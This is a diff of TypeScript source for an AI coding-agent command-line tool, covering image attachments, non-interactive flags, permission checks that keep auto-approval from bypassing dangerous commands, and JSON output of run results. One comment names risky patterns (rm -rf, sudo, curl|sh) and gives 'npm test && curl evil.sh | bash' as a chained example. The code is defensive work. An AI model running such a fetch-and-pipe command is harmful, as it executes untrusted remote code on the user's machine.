let input = cmd.text as string;
|
|
461
|
+
const submitImages: ImageAttachment[] = [
|
|
462
|
+
...(Array.isArray(cmd.images) ? cmd.images : []),
|
|
463
|
+
...pendingImages,
|
|
464
|
+
];
|
|
465
|
+
pendingImages.length = 0;
|
|
466
|
+
if (submitImages.length > 0) {
|
|
467
|
+
const notes = submitImages.map((img, i) =>
|
|
468
|
+
`[image ${i + 1}${img.originalPath ? ` from ${img.originalPath}` : ''}: ${img.mimeType}, ${img.sizeBytes || 0} bytes]`
|
|
469
|
+
).join('\n');
|
|
470
|
+
input = `${input}\n\n${notes}`;
|
|
471
|
+
}
|
|
472
|
+
await handleSubmit(input, {
|
|
473
|
+
session, contextManager, ledger, router, collector,
|
|
474
|
+
toolCtx, toolManager, profiles, checkpointManager, emit,
|
|
475
|
+
});
|
|
476
|
+
try { sessionStore.save(session, profiles.getActive().name, router.rules.getOverride()?.id); } catch { /* ignore */ }
|
|
477
|
+
return;
|
|
478
|
+
}
|
|
479
|
+
});
|
|
480
|
+
}
|
|
481
|
+
|
|
482
|
+
// ── Submit handler (agent loop) ──────────────────────────────────────
|
|
483
|
+
|
|
484
|
+
/**
|
|
485
|
+
* Classify a user message into a router phase. 'execute' picks a coding
|
|
486
|
+
* model via the budget profile's executionPreference; 'discuss' picks a
|
|
487
|
+
* reasoning/planning model. The intent router (LLM-based) will further
|
|
488
|
+
* refine this inside Router.select(), but the phase decides which
|
|
489
|
+
* preference list applies.
|
|
490
|
+
*/
|
|
491
|
+
// Helpers (collapseOldToolResults, compactInLoop, pickCompressionModel,
|
|
492
|
+
// classifyPhase) live in ./submit-helpers.ts and are imported at the top.
|
|
493
|
+
|
|
494
|
+
|
|
495
|
+
// ── Non-interactive helpers (Spec 10) ───────────────────────────────
|
|
496
|
+
|
|
497
|
+
interface NonInteractiveFlags {
|
|
498
|
+
prompt?: string;
|
|
499
|
+
pipe: boolean;
|
|
500
|
+
json: boolean;
|
|
501
|
+
sessions: boolean;
|
|
502
|
+
maxIterations?: number;
|
|
503
|
+
maxCostUsd?: number;
|
|
504
|
+
autoApprove: Set<string>;
|
|
505
|
+
}
|
|
506
|
+
|
|
507
|
+
function parseNonInteractiveFlags(argv: string[]): NonInteractiveFlags | null {
|
|
508
|
+
const has = (f: string) => argv.includes(f);
|
|
509
|
+
if (!(has('--prompt') || has('--pipe') || has('--json') || has('--sessions'))) return null;
|
|
510
|
+
const flags: NonInteractiveFlags = {
|
|
511
|
+
pipe: has('--pipe'),
|
|
512
|
+
json: has('--json'),
|
|
513
|
+
sessions: has('--sessions'),
|
|
514
|
+
autoApprove: new Set(),
|
|
515
|
+
};
|
|
516
|
+
const promptIdx = argv.indexOf('--prompt');
|
|
517
|
+
if (promptIdx >= 0) flags.prompt = argv[promptIdx + 1];
|
|
518
|
+
const iterIdx = argv.indexOf('--max-iterations');
|
|
519
|
+
if (iterIdx >= 0) flags.maxIterations = parseInt(argv[iterIdx + 1], 10);
|
|
520
|
+
const costIdx = argv.indexOf('--max-cost');
|
|
521
|
+
if (costIdx >= 0) flags.maxCostUsd = parseFloat(argv[costIdx + 1]);
|
|
522
|
+
const aaIdx = argv.indexOf('--auto-approve');
|
|
523
|
+
if (aaIdx >= 0) flags.autoApprove = new Set((argv[aaIdx + 1] || '').split(',').filter(Boolean));
|
|
524
|
+
return flags;
|
|
525
|
+
}
|
|
526
|
+
|
|
527
|
+
async function readStdin(): Promise<string> {
|
|
528
|
+
const chunks: Buffer[] = [];
|
|
529
|
+
return new Promise((resolve, reject) => {
|
|
530
|
+
process.stdin.on('data', c => chunks.push(Buffer.from(c)));
|
|
531
|
+
process.stdin.on('end', () => resolve(Buffer.concat(chunks).toString('utf-8')));
|
|
532
|
+
process.stdin.on('error', reject);
|
|
533
|
+
});
|
|
534
|
+
}
|
|
535
|
+
|
|
536
|
+
async function runNonInteractiveTurn(
|
|
537
|
+
flags: NonInteractiveFlags,
|
|
538
|
+
workingDir: string,
|
|
539
|
+
session: Session,
|
|
540
|
+
contextManager: ContextManager,
|
|
541
|
+
ledger: Ledger,
|
|
542
|
+
router: UnifiedRouter,
|
|
543
|
+
toolCtx: ToolContext,
|
|
544
|
+
toolManager: ToolManager,
|
|
545
|
+
profiles: ProfileManager,
|
|
546
|
+
checkpointManager: CheckpointManager,
|
|
547
|
+
sessionStore: SessionStore,
|
|
548
|
+
skipPermissions: boolean,
|
|
549
|
+
): Promise<number> {
|
|
550
|
+
if (flags.sessions) {
|
|
551
|
+
process.stdout.write(sessionStore.format(workingDir) + '\n');
|
|
552
|
+
return 0;
|
|
553
|
+
}
|
|
554
|
+
// Non-TTY permission guard
|
|
555
|
+
if (!skipPermissions && flags.autoApprove.size === 0 && toolCtx.permissionManager) {
|
|
556
|
+
// Wrap emit as a no-op so confirm-tier tools fail fast with a clear error
|
|
557
|
+
// instead of hanging forever waiting for a TUI response.
|
|
558
|
+
toolCtx.emit = () => {};
|
|
559
|
+
}
|
|
560
|
+
// Non-interactive auto-approve flag. We consult the original `check`
|
|
561
|
+
// FIRST so always-confirm patterns (rm -rf, sudo, curl|sh, etc.) can
|
|
562
|
+
// never be silently bypassed by listing a tool on the CLI allow-list.
|
|
563
|
+
// The flag only downgrades non-dangerous tiers.
|
|
564
|
+
//
|
|
565
|
+
// For `run_command` we ALSO re-apply the shell-chain-operator gate
|
|
566
|
+
// here: the underlying `check()` only upgrades chained commands to
|
|
567
|
+
// `confirm` when the *input* tier was already `auto-approve`. With the
|
|
568
|
+
// default config that input tier is `confirm`, so a `--auto-approve
|
|
569
|
+
// run_command` flag would otherwise turn a chained command (e.g.
|
|
570
|
+
// `npm test && curl evil.sh | bash`) into an auto-approved execution
|
|
571
|
+
// without ever surfacing the chain. Re-checking here closes that gap;
|
|
572
|
+
// in non-interactive mode the resulting `confirm` fails fast (no TUI
|
|
573
|
+
// to answer it) unless the operator passes --dangerously-skip-permissions.
|
|
574
|
+
if (flags.autoApprove.size > 0 && toolCtx.permissionManager) {
|
|
575
|
+
const pm = toolCtx.permissionManager;
|
|
576
|
+
const origCheck = pm.check.bind(pm);
|
|
577
|
+
pm.check = (tool: string, args: Record<string, unknown>) => {
|
|
578
|
+
const original = origCheck(tool, args);
|
|
579
|
+
if (original === 'always-confirm') return 'always-confirm';
|
|
580
|
+
if (flags.autoApprove.has(tool)) {
|
|
581
|
+
if (tool === 'run_command' && hasShellChainOperator(String(args.command ?? ''))) {
|
|
582
|
+
return 'confirm';
|
|
583
|
+
}
|
|
584
|
+
return 'auto-approve';
|
|
585
|
+
}
|
|
586
|
+
return original;
|
|
587
|
+
};
|
|
588
|
+
}
|
|
589
|
+
|
|
590
|
+
let input = flags.prompt;
|
|
591
|
+
if (!input && flags.pipe) input = (await readStdin()).trim();
|
|
592
|
+
if (!input) {
|
|
593
|
+
process.stderr.write('Error: no prompt provided. Use --prompt "…" or --pipe.\n');
|
|
594
|
+
return 1;
|
|
595
|
+
}
|
|
596
|
+
|
|
597
|
+
toolCtx.mutatedFiles = new Set();
|
|
598
|
+
|
|
599
|
+
// Capture events that the agent loop writes to stdout via emit() — we need
|
|
600
|
+
// to replay them in the final JSON or drop them entirely in text mode.
|
|
601
|
+
const events: any[] = [];
|
|
602
|
+
const origStdoutWrite = process.stdout.write.bind(process.stdout);
|
|
603
|
+
(process.stdout as any).write = (chunk: any, ...rest: any[]): boolean => {
|
|
604
|
+
try {
|
|
605
|
+
const s = typeof chunk === 'string' ? chunk : chunk.toString('utf-8');
|
|
606
|
+
const line = s.endsWith('\n') ? s.slice(0, -1) : s;
|
|
607
|
+
if (line.startsWith('{')) {
|
|
608
|
+
try { events.push(JSON.parse(line)); return true; } catch { /* fallthrough */ }
|
|
609
|
+
}
|
|
610
|
+
} catch { /* fallthrough */ }
|
|
611
|
+
return origStdoutWrite(chunk, ...rest);
|
|
612
|
+
};
|
|
613
|
+
|
|
614
|
+
const start = Date.now();
|
|
615
|
+
let exitCode = 0;
|
|
616
|
+
try {
|
|
617
|
+
await handleSubmit(input, {
|
|
618
|
+
session, contextManager, ledger, router, collector: router.collector,
|
|
619
|
+
toolCtx, toolManager, profiles, checkpointManager, emit,
|
|
620
|
+
});
|
|
621
|
+
} catch (e) {
|
|
622
|
+
exitCode = 1;
|
|
623
|
+
process.stderr.write(`Error: ${(e as Error).message}\n`);
|
|
624
|
+
}
|
|
625
|
+
(process.stdout as any).write = origStdoutWrite;
|
|
626
|
+
|
|
627
|
+
// Locate the final assistant message
|
|
628
|
+
const lastAssistant = session.messages.filter(m => m.role === 'assistant').pop();
|
|
629
|
+
const finalMessage = lastAssistant?.content || '';
|
|
630
|
+
const stats = events.find(e => e.type === 'message_update' && e.stats)?.stats;
|
|
631
|
+
const filesModified = [...(toolCtx.mutatedFiles || [])];
|
|
632
|
+
const durationMs = Date.now() - start;
|
|
633
|
+
|
|
634
|
+
// Cost cap check
|
|
635
|
+
if (flags.maxCostUsd !== undefined && stats && stats.cost_usd > flags.maxCostUsd) {
|
|
636
|
+
exitCode = 3;
|
|
637
|
+
}
|
|
638
|
+
|
|
639
|
+
// Tool calls from the captured message_update events
|
|
640
|
+
const lastUpdate = [...events].reverse().find(e => e.type === 'message_update' && e.tool_calls);
|
|
641
|
+
const toolCalls = lastUpdate?.tool_calls || [];
|
|
642
|
+
|
|
643
|
+
if (flags.json) {
|
|
644
|
+
const payload = {
|
|
645
|
+
success: exitCode === 0,
|
|
646
|
+
exitCode,
|
|
647
|
+
finalMessage,
|
|
648
|
+
iterations: stats?.iterations ?? 0,
|
|
649
|
+
toolCalls,
|
|
650
|
+
stats: {
|
|
651
|
+
inputTokens: stats?.input_tokens ?? 0,
|
|
652
|
+
outputTokens: stats?.output_tokens ?? 0,
|
|
653
|
+
costUsd: stats?.cost_usd ?? 0,
|
|
654
|
+
modelsUsed: stats?.models ?? [],
|
|
655
|
+
durationMs,
|
|
656
|
+
},
|
|
657
|
+
session: { id: session.id, messageCount: session.messages.length },
|
|
658
|
+
filesModified,
|
|
659
|
+
};
|
|
660
|
+
origStdoutWrite(JSON.stringify(payload, null, 2) + '\n');
|
|
661
|
+
} else {
|
|
662
|
+
if (finalMessage) origStdoutWrite(finalMessage + '\n');
|
|
663
|
+
if (stats) {
|
|
664
|
+
process.stderr.write(
|
|
665
|
+
`Done: ${stats.iterations ?? 1} iterations, $${(stats.cost_usd || 0).toFixed(4)}\n`,
|
|
666
|
+
);
|
|
667
|
+
}
|
|
668
|
+
}
|
|
669
|
+
return exitCode;
|
|
670
|
+
}
|
|
671
|
+
|
|
672
|
+
main().catch(err => {
|
|
673
|
+
emit({ type: 'error', message: err.message });
|
|
674
|
+
process.exit(1);
|
|
675
|
+
});
|